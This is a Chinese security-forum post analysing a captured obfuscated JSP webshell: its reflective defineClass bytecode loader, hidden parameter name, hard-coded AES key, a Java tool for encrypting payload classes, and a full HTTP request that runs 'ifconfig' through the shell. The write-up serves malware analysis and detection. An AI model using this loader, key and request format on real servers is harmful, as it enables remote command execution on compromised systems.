安全矩阵

 找回密码
 立即注册
搜索
查看: 937|回复: 0

记一次对某变异webshell的分析

[复制链接]

179

主题

179

帖子

630

积分

高级会员

Rank: 4

积分
630
发表于 2023-10-22 15:31:45 | 显示全部楼层 |阅读模式
记一次对某变异webshell的分析
0x01 前言


在某活动中捕获到一个变异的webshell(jsp文件格式),如图1.1所示。样本webshell的大致功能是通过加载字节码来执行恶意代码,整个webshell的核心部分逻辑是在字节码中。


样本文件下载链接:

https://github.com/webraybtl/webshell1


图1.1 变异webshell样本


直接通过冰蝎、哥斯拉、天蝎、蚁剑这些工具来连,均没有成功,初步推测是一个改过的webshell。


0x02 初步分析


Webshell中首先定义了两个方法b64Decode和unc,分别用于base64解码和gzip解码,代码比较简单,就不做分析。Webshell中处理逻辑部分代码如下所示。

  1. <%
  2.     String u = "lgetwr";
  3.     if (context.get(u) != null) {
  4.         context.get(u).equals(new Object[]{request, response});
  5.     } else {
  6.         byte[] data = b64Decode("xxxx"); //替换为样本中的恶意字节码
  7.         byte[] cbs = unc(data);
  8.         java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0],Thread.currentThread().getContextClassLoader());
  9.         java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(new String(new byte[]{100,101,102,105,110,101,67,108,97,115,115}), new Class[]{byte[].class, int.class, int.class}); // new byte[]{100,101,102,105,110,101,67,108,97,115,115} 对应defineClass
  10.         method.setAccessible(true);
  11.         Class clazz = (Class) method.invoke(classLoader, new Object[]{cbs, new Integer(0), new Integer(cbs.length)});
  12.         context.put(u, clazz.newInstance());
  13.     }
  14. %>
复制代码




context是静态map类型变量,起到全局数据传递的作用。在其中定义的变量u并不是webshell的密码,而仅是map中的一个key。


当第一次访问webshell的时候,通过反射的方式调用ClassLoader类的defineClass方法,把恶意的字节码经过解码之后作为defineClass方法的参数,并生成对应的类实例对象,保存到context字典中,key为“lgetwr”。


当后续再访问webshell的时候,进入另一个if分支,直接调用恶意对象对应的equals方法,并把request和response作为参数传入。


0x03 深入分析


把样本中的恶意字节码结果解码之后保存为class文件,解码的方式直接调用webshell中的b64Decode和unc方法,直接定位到恶意类对应的equals方法,如图3.1所示。


图3.1 字节码文件中的equals方法


从反编译的代码中可以看出字节码对应的类经过了混淆和压缩,无法友好的阅读代码,更重要的是在equals中调用了this.a(long, short)方法,该方法无法被idea反编译,在idea中提示无法“couldn ' t be decompiled”,如图3.2所示。更换jd-gui来进行反编译依然无法反编译这个方法,推测可能是作者为了防止反编译做的强混淆或者使用了某些奇怪的java语法。


图3.2 IDEA工具无法反编译字节码中的关键方法


后来在找到了一个非常棒的在线反编译网站http://www.javadecompilers.com/。可以支持多种不同的反编译工具来进行反编译,依次尝试所有的反编译器,当选择CFR反编译器时可以看到得到完整的源码,如图3.3、图3.4所示。


图3.3 通过CFR来进行反编译


图3.4 通过CFR反编译的关键方法a


虽然CFR也提示“unable to fully structure code”,但是其实关键的代码逻辑确是可以看到的,人为修改反编译代码中的语法错误,可以对代码进行调试。


为了对字节码中的类进行debug,需要在本地新建一个与字节码中的类完全一样的类“org.apache.coyote.module.ThrowableDeserializer”。但是在调试下断点的时候报如图3.5所示的错误,显示方法中无法下断点,原因是代码中删除了行号Line numbers info is not available in class。这是由于java的混淆和压缩工具在编译的时候删除了行号,导致无法对方法中的具体内容进行调试,只能调试方法调用。


图3.5 字节码文件提示无法调试


具体到webshell的代码逻辑中,提供了两种传入参数的方式,一种是直接通过参数传递,传递的参数名是SjIHRC7oSVIE,如图3.6所示。


图3.6 通过SjIHRC7oSVIE参数传递参数


另一种方式是通过json方式传递参数,如图3.7所示。


图3.7 通过json方式传递恶意代码


在后续的过程中会对上一步传入的恶意代码进行AES解密,解密密钥为固定值“oszXCfTeXHpIkMS3”,如图3.8所示。


图3.8 对传入的恶意代码进行解密


Webshell最终执行恶意代码的方式还是通过defineClass加载字节码的方式来进行的,最终能够触发任意命令代码执行的方式是在调用newInstance生成类对象的时候。此webshell的执行流程大体上可以分成下面的步骤:


1、第一次访问通过defineClass固定的恶意字节码生成对应的恶意类。org.apache.coyote.module.ThrowableDeserializer对象实例。并把实例保存到全局的map中,键名为lgetwr。

2、第二次访问直接调用键名为lgetwr的对象值,调用恶意类的equals方法,并传递request和response对象。

3、在恶意类的equals方法中调用混淆后的a(long, short)方法,该方法会从解析HTTP请求,获取SjIHRC7oSVIE键名传递的动态恶意值。

4、把HTTP请求传递的动态恶意值进行AES解密,gzip解码之后传递到defineClass方法进行动态加载,生成任意恶意类对象。通过恶意类对象的构造方法或者静态代码块触发命令执行。


0x04 实际测试


在本地tomcat环境中调试对应的webshell,构建一个恶意类ExploitRCE,如图4.1所示。


图4.1 构建恶意的命令执行的类ExploitRCE


通过javac把对应的java代码转化为class文件,模拟webshell的处理流程对字节码文件进行加密和编码,代码如下所示。

  1. import javax.crypto.Cipher;
  2. import javax.crypto.spec.SecretKeySpec;
  3. import java.io.*;
  4. import java.nio.file.Files;
  5. import java.nio.file.Paths;
  6. import java.util.Base64;
  7. import java.util.zip.GZIPInputStream;
  8. import java.util.zip.GZIPOutputStream;

  9. public class Test4 {

  10.     private static final String KEY = "oszXCfTeXHpIkMS3";
  11.     private static final String ALGORITHM = "AES";

  12.     public static void main(String[] args) throws Exception {
  13.         byte[] originalString = Files.readAllBytes(Paths.get("/Users/pang0lin/java/projects/SpringMVC6/target/classes/ExploitRCE.class"));
  14.         byte[] bytes = gzipEncode(originalString);

  15.         String encryptedString = encrypt(bytes);
  16.         System.out.println("加密后的字符串: " + encryptedString);

  17.     }

  18.     public static String encrypt(byte[] strToEncrypt) throws Exception {
  19.         SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);
  20.         Cipher cipher = Cipher.getInstance(ALGORITHM);
  21.         cipher.init(Cipher.ENCRYPT_MODE, secretKey);
  22.         byte[] encryptedByteValue = cipher.doFinal(strToEncrypt);
  23.         return Base64.getEncoder().encodeToString(encryptedByteValue);
  24.     }

  25.     public static byte[] decrypt(String strToDecrypt) throws Exception {
  26.         SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);
  27.         Cipher cipher = Cipher.getInstance(ALGORITHM);
  28.         cipher.init(Cipher.DECRYPT_MODE, secretKey);
  29.         byte[] decodedValue = Base64.getDecoder().decode(strToDecrypt);
  30.         byte[] decryptedByteValue = cipher.doFinal(decodedValue);
  31.         return decryptedByteValue;
  32.     }

  33.     public static byte[] b(byte[] var0) throws IOException {
  34.         ByteArrayOutputStream var2 = new ByteArrayOutputStream();
  35.         int var10000 = 0;
  36.         ByteArrayInputStream var3 = new ByteArrayInputStream(var0);
  37.         int var1 = var10000;
  38.         GZIPInputStream var4 = new GZIPInputStream(var3);
  39.         byte[] var5 = new byte[256];

  40.         ByteArrayOutputStream var8;
  41.         while(true) {
  42.             int var6;
  43.             if ((var6 = var4.read(var5)) >= 0) {
  44.                 var8 = var2;
  45.                 if (var1 != 0) {
  46.                     break;
  47.                 }

  48.                 var2.write(var5, 0, var6);
  49.                 if (var1 == 0) {
  50.                     continue;
  51.                 }
  52.             }

  53.             var8 = var2;
  54.             break;
  55.         }

  56.         return var8.toByteArray();
  57.     }

  58.     public static byte[] gzipEncode(byte[] input) throws IOException {
  59.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  60.         GZIPOutputStream gzipOs = new GZIPOutputStream(baos);

  61.         gzipOs.write(input);

  62.         gzipOs.close();
  63.         baos.close();

  64.         return baos.toByteArray();
  65.     }
  66. }
复制代码



运行之后可以生成用于可以用于webshell的加密字符,如图4.2所示。


图4.2 模拟webshell加密和编码过程生成字符


通过burp发包,查看恶意代码执行过程,如图4.3所示。其中Content-Type在json方式传递时要求必须为application/json。运行之后弹出计算器,证明恶意代码执行成功。


到此已经完整复现了webshell执行命令的逻辑,但是由于命令执行没有回显结果,肯定不是作者的使用方式。


在关键的方法a(long, short)中执行newInstance创建恶意类对象之后,并没有调用对象的任意方法,并不能方便的回显命令执行结果。但是还是可以通过https://github.com/WhiteHSBG/JND ... atEchoTemplate.java 方式来进行回显命令,原理不再分析,在之前的文章中已经进行过介绍。


用TomcatEchoTemplate类替换上传的ExploitRCE类,重新发送payload如下:

  1. POST /i.jsp HTTP/1.1
  2. Host: 192.168.67.26:8088
  3. Pragma: no-cache
  4. Cache-Control: no-cache
  5. Upgrade-Insecure-Requests: 1
  6. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
  7. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  8. Accept-Language: zh-CN,zh;q=0.9
  9. cmd:ifconfig
  10. Cookie: JSESSIONID=798FA6D9C93F95975342688741748A41; 9d127d56=79851bf2
  11. x-forwarded-for: 127.0.0.2
  12. Connection: close
  13. Content-Type: application/json
  14. Content-Length: 3731

  15. {"SjIHRC7oSVIE":"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"}
复制代码




在实际使用中要求Cookie中必须包含JSESSIONID,并且每次修改后面16位的值。


0x05 结论


这是一个变异的Webshell,在实网环境中具有较好的免杀效果,但是有样本之后还是很容易分析其代码特征和流量特征。本文章样本仅做学习研究使用,请勿使用本文章提供的样本进行非法攻击行为。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:32 , Processed in 0.014206 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表